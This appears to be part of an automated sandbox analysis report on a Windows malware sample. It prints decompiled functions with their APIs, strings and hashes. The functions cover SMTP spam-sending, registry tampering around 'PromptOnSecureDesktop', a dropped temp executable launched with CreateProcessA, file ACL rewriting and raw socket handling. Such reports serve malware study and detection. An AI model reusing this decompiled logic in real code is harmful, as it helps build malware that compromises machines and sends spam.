0x0040a86a
0x0040a86c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a80a
0x0040a80c
0x0040a871
0x0040a871
0x0040a874
0x0040a875
0x00000000
0x00000000
0x0040a813
0x0040a816
0x0040a816
0x0040a819
0x0040a819
0x0040a81b
0x0040a81c
0x00000000
0x00000000
0x0040a836
0x0040a839
0x0040a839
0x0040a83c
0x0040a83c
0x0040a83e
0x0040a83f
0x0040a820
0x0040a824
0x0040a82f
0x0040a87a
0x0040a87a
0x00000000
0x00000000

APIs

wsprintfA.USER32 ref: 0040A7FB
lstrlenA.KERNEL32(?,00000000,00000000,00000001), ref: 0040A87E
send.WS2_32(00000000,?,00000000,00000000), ref: 0040A893
wsprintfA.USER32 ref: 0040A8AF
send.WS2_32(00000000,.,00000005,00000000), ref: 0040A8D2
wsprintfA.USER32 ref: 0040A8E2
recv.WS2_32(00000000,?,000003F6,00000000), ref: 0040A97C
wsprintfA.USER32 ref: 0040A9B9

Strings

mail from:<%s>, xrefs: 0040A848
localcfg, xrefs: 0040AB0B
rcpt to:<%s>, xrefs: 0040A855
helo %s, xrefs: 0040A803
Too small respons, xrefs: 0040A9C9
Error sending command (sent = %d/%d), xrefs: 0040A8A7, 0040A8DA
ESMTP, xrefs: 0040AA38
quit, xrefs: 0040A86C
Too big smtp respons (%d bytes), xrefs: 0040A9B1
AUTH LOGIN, xrefs: 0040A80C
Incorrect respons, xrefs: 0040AB39
data, xrefs: 0040A85E
., xrefs: 0040A8CA
ehlo %s, xrefs: 0040A7F5

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: wsprintf$send$lstrlenrecv
String ID: .$AUTH LOGIN$ESMTP$Error sending command (sent = %d/%d)$Incorrect respons$Too big smtp respons (%d bytes)$Too small respons$data$ehlo %s$helo %s$localcfg$mail from:<%s>$quit$rcpt to:<%s>
API String ID: 3650048968-2394369944
Opcode ID: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction ID: cb8b6fe7cbcb8804cc0a5996a8d7cccc3c4edaa2c523fe44b9a5a0cb3107b5a3
Opcode Fuzzy Hash: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction Fuzzy Hash: 34A16872A44305AADF209A54DC85FEF3B79AB00304F244437FA05B61D0DA7D9DA98B5F

Uniqueness

Uniqueness Score: -1.00%

Function 00577A59, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226memoryCOMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 00577A7F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00577AB6
GetLengthSid.ADVAPI32(?), ref: 00577AC8
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 00577AEA
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 00577B08
EqualSid.ADVAPI32(?,?), ref: 00577B22
LocalAlloc.KERNEL32(00000040,00000014), ref: 00577B33
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00577B41
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00577B51
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 00577B60
LocalFree.KERNEL32(00000000), ref: 00577B67
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00577B83
GetAce.ADVAPI32(?,?,?), ref: 00577BB3
EqualSid.ADVAPI32(?,?), ref: 00577BDA
DeleteAce.ADVAPI32(?,?), ref: 00577BF3
EqualSid.ADVAPI32(?,?), ref: 00577C15
LocalAlloc.KERNEL32(00000040,00000014), ref: 00577C9A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00577CA8
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 00577CB9
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 00577CC9
LocalFree.KERNEL32(00000000), ref: 00577CD7

Strings

D, xrefs: 00577AAC

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: 3802dae074103bf4f8adcd83b9f96b6175c8fab74f2c1a6d19595d2f27e3f89b
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: C3812B71D0421DABDB228FA4ED44FEEBFBCBB0C340F14806AE509E6150E7759A41DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00408328, Relevance: 35.4, APIs: 18, Strings: 2, Instructions: 361
registryCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00408328(char* __ecx, char __edx) {
				char _v8;
				void* _v12;
				int _v16;
				char _v20;
				intOrPtr _v24;
				int _v28;
				struct _PROCESS_INFORMATION _v44;
				char _v60;
				struct _STARTUPINFOA _v128;
				char _v388;
				char _v427;
				char _v428;
				char _t88;
				char _t89;
				void* _t91;
				char _t93;
				int _t102;
				char _t107;
				intOrPtr _t113;
				char _t116;
				void* _t117;
				signed int _t122;
				char _t126;
				void* _t128;
				char* _t130;
				char _t131;
				char* _t133;
				char _t134;
				char* _t137;
				int _t139;
				char _t144;
				char _t146;
				char* _t147;
				char _t149;
				char _t153;
				intOrPtr* _t154;
				char* _t156;
				char* _t159;
				char _t160;
				char _t165;
				void* _t174;
				signed int _t177;
				char _t180;
				char* _t188;
				int _t189;
				long _t193;
				void* _t195;
				void* _t196;
				void* _t198;
				void* _t199;

				_t181 = __edx;
				_t173 = __ecx;
				_v16 = 0;
				if(E00407DD6(__edx) != 0) {
					return 1;
				}
				_t88 = E00406EC3();
				__eflags = _t88;
				if(_t88 != 0) {
					_v8 = 0;
					__eflags =  *0x412c3c; // 0x0
					if(__eflags == 0) {
						goto L37;
					}
					__eflags =  *0x412c38; // 0x0
					if(__eflags == 0) {
						goto L37;
					}
					_t130 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
					_t198 = _t196 + 0x14;
					_t131 = RegOpenKeyExA(0x80000001, _t130, 0, 0x101,  &_v12);
					__eflags = _t131;
					if(_t131 != 0) {
						L31:
						_t133 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t198 = _t198 + 0x14;
						_t134 = RegOpenKeyExA(0x80000001, _t133, 0, 0x103,  &_v12);
						__eflags = _t134;
						if(_t134 != 0) {
							L35:
							E0040EE2A(_t173, 0x4122f8, 0, 0x100);
							_t196 = _t198 + 0xc;
							__eflags = _v8;
							if(_v8 != 0) {
								E0040EC2E(_v8);
							}
							goto L37;
						}
						_t188 =  *0x412c3c; // 0x0
						_t137 = _t188;
						_t44 =  &(_t137[1]); // 0x1
						_t173 = _t44;
						do {
							_t181 =  *_t137;
							_t137 =  &(_t137[1]);
							__eflags = _t181;
						} while (_t181 != 0);
						_t139 = _t137 - _t173 + 1;
						__eflags = _t139;
						RegSetValueExA(_v12,  *0x412c38, 0, 1, _t188, _t139);
						RegCloseKey(_v12);
						goto L35;
					}
					_t144 = RegQueryValueExA(_v12,  *0x412c38, 0,  &_v28, 0,  &_v16);
					__eflags = _t144;
					if(_t144 == 0) {
						__eflags = _v28 - 1;
						if(_v28 == 1) {
							__eflags = _v16;
							if(_v16 > 0) {
								_t147 = E0040EBCC(_v16);
								_pop(_t173);
								_v8 = _t147;
								__eflags = _t147;
								if(_t147 != 0) {
									_t173 =  &_v16;
									_t149 = RegQueryValueExA(_v12,  *0x412c38, 0,  &_v28, _t147,  &_v16);
									__eflags = _t149;
									if(_t149 != 0) {
										E0040EC2E(_v8);
										_pop(_t173);
										_v8 = 0;
									}
								}
							}
						}
					}
					RegCloseKey(_v12);
					__eflags = _v8;
					if(_v8 != 0) {
						_t146 = E0040EED1(_v8,  *0x412c3c);
						_pop(_t173);
						__eflags = _t146;
						if(_t146 == 0) {
							goto L35;
						}
					}
					goto L31;
				} else {
					_t153 = E004073FF(_t173, 0x410264, 0, 0,  &_v388,  &_v60);
					_t199 = _t196 + 0x14;
					__eflags = _t153;
					if(_t153 <= 0) {
						L19:
						_t91 = 0;
						L56:
						return _t91;
					}
					__eflags = _v388;
					if(_v388 == 0) {
						goto L19;
					}
					__eflags = _v60;
					if(_v60 == 0) {
						goto L19;
					} else {
						_t154 =  &_v388;
						_t181 = _t154 + 1;
						do {
							_t180 =  *_t154;
							_t154 = _t154 + 1;
							__eflags = _t180;
						} while (_t180 != 0);
						_t156 = _t195 + _t154 - _t181 - 0x181;
						__eflags =  *_t156 - 0x5c;
						if( *_t156 == 0x5c) {
							 *_t156 = 0;
						}
						__eflags =  *0x412159 - 0x60;
						if( *0x412159 < 0x60) {
							L18:
							E0040EE2A(_t180, 0x4122f8, 0, 0x100);
							_t196 = _t199 + 0xc;
							L37:
							_v20 = 0;
							_v8 = 0;
							__eflags =  *0x4121a8; // 0x0
							if(__eflags == 0) {
								L42:
								__eflags =  *0x412cd8; // 0x0
								if(__eflags != 0) {
									L46:
									_t89 = E00406BA7(0x412cd8);
									_pop(_t174);
									__eflags = _t89;
									if(_t89 == 0) {
										L52:
										 *0x412cd8 = 0;
										L53:
										__eflags = _v8;
										if(_v8 != 0) {
											E0040EC2E(_v8);
										}
										_t91 = 1;
										__eflags = 1;
										goto L56;
									}
									_t93 = E00407E2F(_t181);
									__eflags = _t93;
									if(_t93 != 0) {
										L51:
										DeleteFileA(0x412cd8);
										goto L52;
									}
									_t193 = 0x44;
									E0040EE2A(_t174,  &_v128, 0, _t193);
									_v128.cb = _t193;
									E0040EE2A(_t174,  &_v44, 0, 0x10);
									_v428 = 0x22;
									lstrcpyA( &_v427, 0x412cd8);
									_t102 = lstrlenA( &_v428);
									 *((char*)(_t195 + _t102 - 0x1a8)) = 0x22;
									 *((char*)(_t195 + _t102 - 0x1a7)) = 0;
									E00407FCF(_t174);
									_t107 = CreateProcessA(0,  &_v428, 0, 0, 0, 0x8000000, 0, 0,  &_v128,  &_v44);
									__eflags = _t107;
									if(_t107 == 0) {
										E00407EE6(_t174);
										E00407EAD(_t181, __eflags, 0);
										goto L51;
									}
									CloseHandle(_v44.hThread);
									CloseHandle(_v44);
									goto L53;
								}
								GetTempPathA(0x12c, 0x412cd8);
								_t113 = E00408274(0x412cd8);
								_pop(_t177);
								_v24 = _t113;
								_t116 = (E0040ECA5() & 0x00000003) + 5;
								_v20 = _t116;
								__eflags = _t116;
								if(_t116 <= 0) {
									L45:
									_t117 = E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8);
									_t69 = _v24 + 0x412cd8; // 0x0
									E0040EF00(_t69, _t117);
									E0040EE2A(_t177, 0x4122f8, 0, 0x100);
									_t196 = _t196 + 0x28;
									goto L46;
								} else {
									goto L44;
								}
								do {
									L44:
									_t122 = E0040ECA5();
									_t177 = 0x1a;
									_t181 = _t122 % _t177 + 0x61;
									_v24 = _v24 + 1;
									_v20 = _v20 - 1;
									 *((char*)(_v24 + 0x412cd8)) = _t122 % _t177 + 0x61;
									__eflags = _v20;
								} while (_v20 > 0);
								goto L45;
							}
							_t126 = E0040675C(0x4121a8,  &_v20, 0);
							_t196 = _t196 + 0xc;
							_v8 = _t126;
							__eflags =  *0x4121a8; // 0x0
							if(__eflags == 0) {
								goto L42;
							}
							__eflags = _t126;
							if(_t126 == 0) {
								goto L42;
							}
							__eflags = _v20 -  *0x4121a4; // 0x0
							if(__eflags != 0) {
								goto L42;
							}
							_t128 = E004024C2(_v8, _t127, 0);
							_t196 = _t196 + 0xc;
							__eflags =  *0x4122d4 - _t128; // 0x0
							if(__eflags == 0) {
								goto L53;
							}
							goto L42;
						}
						_t189 = 4;
						_v8 = 0;
						_v16 = _t189;
						_t159 = E00402544(0x4122f8,  &E00410710, 0x35, 0xe4, 0xc8);
						_t199 = _t199 + 0x14;
						_t160 = RegOpenKeyExA(0x80000002, _t159, 0, 0x103,  &_v12);
						__eflags = _t160;
						if(_t160 != 0) {
							goto L18;
						}
						_t165 = RegQueryValueExA(_v12,  &_v388, 0,  &_v28,  &_v8,  &_v16);
						__eflags = _t165;
						if(_t165 != 0) {
							L16:
							_v8 = 0;
							RegSetValueExA(_v12,  &_v388, 0, _t189,  &_v8, _t189);
							L17:
							RegCloseKey(_v12);
							goto L18;
						}
						__eflags = _v28 - _t189;
						if(_v28 != _t189) {
							goto L16;
						}
						__eflags = _v16 - _t189;
						if(_v16 != _t189) {
							goto L16;
						}
						__eflags = _v8;
						if(_v8 == 0) {
							goto L17;
						}
						goto L16;
					}
				}
			}

0x00408328
0x00408328
0x00408334
0x0040833e
0x00000000
0x00408342
0x0040834a
0x00408354
0x00408356
0x0040846b
0x0040846e
0x00408474
0x00000000
0x00000000
0x0040847a
0x00408480
0x00000000
0x00000000
0x004084a2
0x004084ad
0x004084b6
0x004084b8
0x004084ba
0x00408543
0x0040855f
0x00408564
0x0040856d
0x0040856f
0x00408571
0x004085a5
0x004085ac
0x004085b1
0x004085b4
0x004085b7
0x004085bc
0x004085c1
0x00000000
0x004085b7
0x00408573
0x00408579
0x0040857b
0x0040857b
0x0040857e
0x0040857e
0x00408580
0x00408581
0x00408581
0x00408587
0x00408587
0x00408596
0x0040859f
0x00000000
0x0040859f
0x004084d3
0x004084d9
0x004084db
0x004084dd
0x004084e1
0x004084e3
0x004084e6
0x004084eb
0x004084f0
0x004084f1
0x004084f4
0x004084f6
0x004084f8
0x0040850b
0x00408511
0x00408513
0x00408518
0x0040851d
0x0040851e
0x0040851e
0x00408513
0x004084f6
0x004084e6
0x004084e1
0x00408524
0x0040852a
0x0040852d
0x00408538
0x0040853e
0x0040853f
0x00408541
0x00000000
0x00000000
0x00408541
0x00000000
0x0040835c
0x0040836e
0x00408373
0x00408376
0x00408378
0x00408464
0x00408464
0x00408779
0x00000000
0x0040877a
0x0040837e
0x00408384
0x00000000
0x00000000
0x0040838a
0x0040838d
0x00000000
0x00408393
0x00408393
0x00408399
0x0040839c
0x0040839c
0x0040839e
0x0040839f
0x0040839f
0x004083a5
0x004083ac
0x004083af
0x004083b1
0x004083b1
0x004083b3
0x004083ba
0x00408450
0x00408457
0x0040845c
0x004085c2
0x004085c2
0x004085c5
0x004085c8
0x004085ce
0x00408615
0x0040861a
0x00408620
0x004086a7
0x004086a8
0x004086ad
0x004086ae
0x004086b0
0x00408762
0x00408762
0x00408768
0x00408768
0x0040876b
0x00408770
0x00408775
0x00408778
0x00408778
0x00000000
0x00408778
0x004086b6
0x004086bb
0x004086bd
0x0040875b
0x0040875c
0x00000000
0x0040875c
0x004086c5
0x004086cc
0x004086d8
0x004086db
0x004086eb
0x004086f2
0x004086ff
0x00408705
0x0040870d
0x00408714
0x00408733
0x00408739
0x0040873b
0x0040874f
0x00408755
0x00000000
0x0040875a
0x00408746
0x0040874b
0x00000000
0x0040874b
0x0040862c
0x00408633
0x00408638
0x00408639
0x00408644
0x00408647
0x0040864a
0x0040864c
0x00408671
0x00408683
0x0040868c
0x00408693
0x0040869f
0x004086a4
0x00000000
0x00000000
0x00000000
0x00000000
0x0040864e
0x0040864e
0x0040864e
0x00408657
0x0040865d
0x00408660
0x00408663
0x00408666
0x0040866c
0x0040866c
0x00000000
0x0040864e
0x004085da
0x004085df
0x004085e2
0x004085e5
0x004085eb
0x00000000
0x00000000
0x004085ed
0x004085ef
0x00000000
0x00000000
0x004085f4
0x004085fa
0x00000000
0x00000000
0x00408601
0x00408606
0x00408609
0x0040860f
0x00000000
0x00000000
0x00000000
0x0040860f
0x004083c2
0x004083df
0x004083e2
0x004083e5
0x004083ea
0x004083f3
0x004083f9
0x004083fb
0x00000000
0x00000000
0x00408414
0x0040841a
0x0040841c
0x0040842d
0x0040843e
0x00408441
0x00408447
0x0040844a
0x00000000
0x0040844a
0x0040841e
0x00408421
0x00000000
0x00000000
0x00408423
0x00408426
0x00000000
0x00000000
0x00408428
0x0040842b
0x00000000
0x00000000
0x00000000
0x0040842b
0x0040838d

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 004083F3
RegQueryValueExA.ADVAPI32(00410750,?,00000000,?,00408893,?,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408414
RegSetValueExA.ADVAPI32(00410750,?,00000000,00000004,00408893,00000004,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408441
RegCloseKey.ADVAPI32(00410750,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 0040844A

Strings

PromptOnSecureDesktop, xrefs: 0040834F, 004083DE, 00408456, 004084A1, 0040855E, 004085AB, 00408682, 0040869E
localcfg, xrefs: 00408348

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: PromptOnSecureDesktop$localcfg
API String ID: 237177642-1678164370
Opcode ID: f0e8bc001febcaf3aa79265d78dfa7c2bcbced2000b5ff9bfcb5f44e60df388c
Instruction ID: 84ba07e5042139a9063b988de9b3f7486f2cd5d6c0453319c527b22e45c4d953
Opcode Fuzzy Hash: f0e8bc001febcaf3aa79265d78dfa7c2bcbced2000b5ff9bfcb5f44e60df388c
Instruction Fuzzy Hash: DAC1D2B1D00109BEEB11ABA0DE85EEF7BBCEB04304F14447FF544B2191EA794E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 00402A62, Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 194
networkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00402A62(void* __ecx, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v44;
				signed short _v272;
				char _v276;
				long _v280;
				char _v284;
				signed short _v288;
				signed short _v292;
				long _v300;
				long _v304;
				intOrPtr _v308;
				signed short _v324;
				intOrPtr _v332;
				signed short _v336;
				signed int _v340;
				signed int _v344;
				void* _v348;
				signed short _v352;
				signed short _v356;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t53;
				signed short _t66;
				void** _t71;
				void* _t76;
				void* _t77;
				void* _t78;
				signed short _t79;
				intOrPtr* _t81;
				signed short _t82;
				signed short _t83;
				intOrPtr _t86;
				signed int _t88;
				void* _t90;
				long _t91;
				signed short _t92;
				void* _t94;

				_t77 = __ecx;
				_t91 = 0;
				 *_a12 = 1;
				_t50 = HeapAlloc(GetProcessHeap(), 0, 0x1000);
				_t76 = _t50;
				if(_t76 != 0) {
					__imp__#23(2, 2, 0x11, _t78);
					_t79 = _t50;
					_v288 = _t79;
					if(_t79 == 0 || _t79 == 0xffffffff) {
						HeapFree(GetProcessHeap(), _t91, _t76);
						_t53 = 0;
						goto L37;
					} else {
						_v304 = 0;
						while(1) {
							_v300 = _t91;
							if(_v304 != _t91) {
								_push(_t91);
							} else {
								_push(0x100);
							}
							__imp__#9();
							_t50 = E004026FF(_v8, _t79, _v12, _t50 & 0x0000ffff);
							_t94 = _t94 + 0xc;
							if(_t50 != 0) {
								goto L32;
							}
							_t86 = 0xc;
							_t50 =  &_v276;
							_v272 = _t79;
							_v276 = 1;
							_v284 = _t86;
							_v280 = _t91;
							__imp__#18(_t91, _t50, _t91, _t91,  &_v284);
							if(_t50 <= 0) {
								goto L32;
							}
							_t50 = E0040EE2A(_t77, _t76, _t91, 4);
							_t94 = _t94 + 0xc;
							__imp__#16(_t79, _t76, 0x1000, _t91);
							_t92 = _t50;
							_v324 = _t92;
							if(_t92 > 0 && _t92 > _t86) {
								_t81 = __imp__#15;
								_t88 =  *_t81( *(_t76 + 2) & 0x0000ffff) & 0xf;
								if(_t88 == 3) {
									L34:
									 *_v44 = 2;
									L35:
									HeapFree(GetProcessHeap(), 0, _t76);
									__imp__#3(_v292);
									_t53 = _v308;
									L37:
									return _t53;
								}
								if(_t88 != 2) {
									L16:
									if(_t88 != 0) {
										goto L32;
									}
									_t50 = E00402923(_t77, _t76, _t92);
									_pop(_t77);
									_v336 = _t50;
									if(_t50 == 0) {
										goto L32;
									}
									_v340 = _v340 & 0x00000000;
									_v344 = _v344 & 0x00000000;
									_t82 = _t50;
									_v352 = _t82;
									L20:
									while(1) {
										if( *((short*)(_t82 + 0x10a)) != 1 ||  *((short*)(_t82 + 0x108)) != 0xf ||  *((short*)(_t82 + 0x10c)) < 3) {
											L30:
											_t83 =  *_t82;
											_v352 = _t83;
											if(_t83 != 0) {
												_t82 = _v352;
												continue;
											}
											goto L31;
										} else {
											_t90 = HeapAlloc(GetProcessHeap(), 0, 0x108);
											if(_t90 == 0) {
												L31:
												_t50 = E00402904(_v336);
												if(_v344 != 0) {
													goto L35;
												}
												goto L32;
											}
											E0040EE2A(_t77, _t90, 0, 0x108);
											_t66 =  *( *((intOrPtr*)(_t82 + 0x110)) + _t76) & 0x0000ffff;
											_t94 = _t94 + 0xc;
											__imp__#15();
											 *(_t90 + 4) = _t66 & 0x0000ffff;
											_t33 = _t90 + 8; // 0x8
											E00402871( *((intOrPtr*)(_t82 + 0x110)) + 2, _t76, _t77, _t33, _v332);
											_t77 = _t66;
											if( *((char*)(_t90 + 8)) != 0) {
												_t71 = _v344;
												_v344 = _t90;
												if(_t71 != 0) {
													 *_t71 = _t90;
												} else {
													_v348 = _t90;
												}
											} else {
												HeapFree(GetProcessHeap(), 0, _t90);
											}
											_t82 = _v356;
											goto L30;
										}
									}
								}
								_push( *(_t76 + 2) & 0x0000ffff);
								if( *_t81() < 0) {
									goto L34;
								}
								goto L16;
							}
							L32:
							_v308 = _v308 + 1;
							if(_v308 < 2) {
								_t79 = _v292;
								_t91 = 0;
								continue;
							}
							goto L35;
						}
					}
				}
				return 0;
			}

0x00402a62
0x00402a7a
0x00402a7d
0x00402a86
0x00402a8c
0x00402a90
0x00402aa0
0x00402aa6
0x00402aa8
0x00402aae
0x00402cd8
0x00402cde
0x00000000
0x00402abd
0x00402abd
0x00402ac9
0x00402ac9
0x00402ad1
0x00402ada
0x00402ad3
0x00402ad3
0x00402ad3
0x00402adb
0x00402af4
0x00402af9
0x00402afe
0x00000000
0x00000000
0x00402b06
0x00402b0e
0x00402b14
0x00402b18
0x00402b20
0x00402b24
0x00402b28
0x00402b30
0x00000000
0x00000000
0x00402b3a
0x00402b3f
0x00402b4a
0x00402b50
0x00402b52
0x00402b58
0x00402b6a
0x00402b76
0x00402b7c
0x00402ca6
0x00402cad
0x00402cb3
0x00402cbd
0x00402cc7
0x00402ccd
0x00402ce0
0x00000000
0x00402ce0
0x00402b85
0x00402b96
0x00402b98
0x00000000
0x00000000
0x00402ba1
0x00402ba6
0x00402ba7
0x00402bad
0x00000000
0x00000000
0x00402bb3
0x00402bb8
0x00402bbd
0x00402bbf
0x00000000
0x00402bc9
0x00402bd1
0x00402c77
0x00402c77
0x00402c79
0x00402c7f
0x00402bc5
0x00000000
0x00402bc5
0x00000000
0x00402bf3
0x00402c08
0x00402c0c
0x00402c85
0x00402c89
0x00402c93
0x00000000
0x00000000
0x00000000
0x00402c93
0x00402c12
0x00402c1d
0x00402c21
0x00402c25
0x00402c32
0x00402c3e
0x00402c41
0x00402c4a
0x00402c4b
0x00402c5f
0x00402c63
0x00402c69
0x00402c71
0x00402c6b
0x00402c6b
0x00402c6b
0x00402c4d
0x00402c57
0x00402c57
0x00402c73
0x00000000
0x00402c73
0x00402bd1
0x00402bc9
0x00402b8b
0x00402b90
0x00000000
0x00000000
0x00000000
0x00402b90
0x00402c95
0x00402c95
0x00402c9e
0x00402ac3
0x00402ac7
0x00000000
0x00402ac7
0x00000000
0x00402ca4
0x00402ac9
0x00402aae
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00001000,00000000,?,74E04F20), ref: 00402A83
HeapAlloc.KERNEL32(00000000,?,74E04F20), ref: 00402A86
socket.WS2_32(00000002,00000002,00000011), ref: 00402AA0
htons.WS2_32(00000000), ref: 00402ADB
select.WS2_32 ref: 00402B28
recv.WS2_32(?,00000000,00001000,00000000), ref: 00402B4A
htons.WS2_32(?), ref: 00402B71
htons.WS2_32(?), ref: 00402B8C
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00402BFB

Strings

p2u, xrefs: 00402CC7

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: Heaphtons$Process$Allocrecvselectsocket
String ID: p2u
API String ID: 1639031587-1441537569
Opcode ID: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction ID: 51c4a8f8372388146ce05ee3fd67d3b8acfed2692fca977a8adbfce498b2b585
Opcode Fuzzy Hash: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction Fuzzy Hash: FB61D271508305ABD7209F51DE0CB6FBBE8FB48345F14482AF945A72D1D7F8D8808BAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040199C, Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 106
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040199C(void* __eax) {
				long _v8;
				_Unknown_base(*)()* _v12;
				struct HINSTANCE__* _v16;
				char _v20;
				void* _v24;
				long _v28;
				_Unknown_base(*)()* _t30;
				intOrPtr _t32;
				void* _t34;
				void* _t41;
				struct HINSTANCE__* _t48;
				_Unknown_base(*)()* _t49;
				void* _t50;

				_v20 = 0;
				_v28 = 0;
				__imp__#11("123.45.67.89");
				_v24 = __eax;
				_t48 = LoadLibraryA("Iphlpapi.dll");
				_v16 = _t48;
				if(_t48 != 0) {
					_v12 = GetProcAddress(_t48, "GetAdaptersInfo");
					_t49 = GetProcAddress(_t48, "GetIfEntry");
					_t30 = GetProcAddress(_v16, "GetBestInterface");
					if(_v12 == 0 || _t49 == 0 || _t30 == 0) {
						FreeLibrary(_v16);
						goto L21;
					} else {
						 *_t30(_v24,  &_v20);
						_t34 = GetProcessHeap();
						_v24 = _t34;
						if(_t34 == 0) {
							L21:
							_t32 = 0;
							L22:
							return _t32;
						}
						_t50 = HeapAlloc(_t34, 0, 0x288);
						if(_t50 == 0) {
							goto L21;
						}
						_push( &_v8);
						_push(_t50);
						_v8 = 0x288;
						if(_v12() == 0x6f) {
							_t50 = HeapReAlloc(_v24, 0, _t50, _v8);
						}
						if(_t50 == 0) {
							L18:
							FreeLibrary(_v16);
							if(_v28 == 0) {
								goto L21;
							}
							_t32 = 1;
							goto L22;
						} else {
							_push( &_v8);
							_push(_t50);
							if(_v12() != 0) {
								goto L18;
							}
							_t41 = _t50;
							while( *((intOrPtr*)(_t41 + 0x19c)) != _v20) {
								_t41 =  *_t41;
								if(_t41 != 0) {
									continue;
								}
								L17:
								HeapFree(_v24, 0, _t50);
								goto L18;
							}
							if( *((intOrPtr*)(_t41 + 0x1a0)) != 6) {
								_v28 = 1;
							}
							goto L17;
						}
					}
				}
				return 0;
			}

0x004019ab
0x004019ae
0x004019b1
0x004019bc
0x004019c5
0x004019c7
0x004019cc
0x004019ea
0x004019f7
0x004019f9
0x004019fe
0x00401ab6
0x00000000
0x00401a14
0x00401a1b
0x00401a1d
0x00401a23
0x00401a28
0x00401abc
0x00401abc
0x00401abe
0x00000000
0x00401abe
0x00401a3c
0x00401a40
0x00000000
0x00000000
0x00401a45
0x00401a46
0x00401a47
0x00401a50
0x00401a60
0x00401a60
0x00401a67
0x00401aa1
0x00401aa4
0x00401aad
0x00000000
0x00000000
0x00401aaf
0x00000000
0x00401a69
0x00401a6c
0x00401a6d
0x00401a73
0x00000000
0x00000000
0x00401a75
0x00401a77
0x00401a82
0x00401a86
0x00000000
0x00000000
0x00401a96
0x00401a9b
0x00000000
0x00401a9b
0x00401a91
0x00401a93
0x00401a93
0x00000000
0x00401a91
0x00401a67
0x004019fe
0x00000000

APIs

inet_addr.WS2_32(123.45.67.89), ref: 004019B1
LoadLibraryA.KERNEL32(Iphlpapi.dll,?,?,?,?,00000001,00401E9E), ref: 004019BF
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 004019E2
GetProcAddress.KERNEL32(00000000,GetIfEntry), ref: 004019ED
GetProcAddress.KERNEL32(?,GetBestInterface), ref: 004019F9
GetProcessHeap.KERNEL32(?,?,?,?,00000001,00401E9E), ref: 00401A1D
HeapAlloc.KERNEL32(00000000,00000000,00000288,?,?,?,?,00000001,00401E9E), ref: 00401A36
HeapReAlloc.KERNEL32(?,00000000,00000000,00401E9E,?,?,?,?,00000001,00401E9E), ref: 00401A5A
HeapFree.KERNEL32(?,00000000,00000000,?,?,?,?,00000001,00401E9E), ref: 00401A9B
FreeLibrary.KERNEL32(?,?,?,?,?,00000001,00401E9E), ref: 00401AA4

Strings

GetIfEntry, xrefs: 004019E4
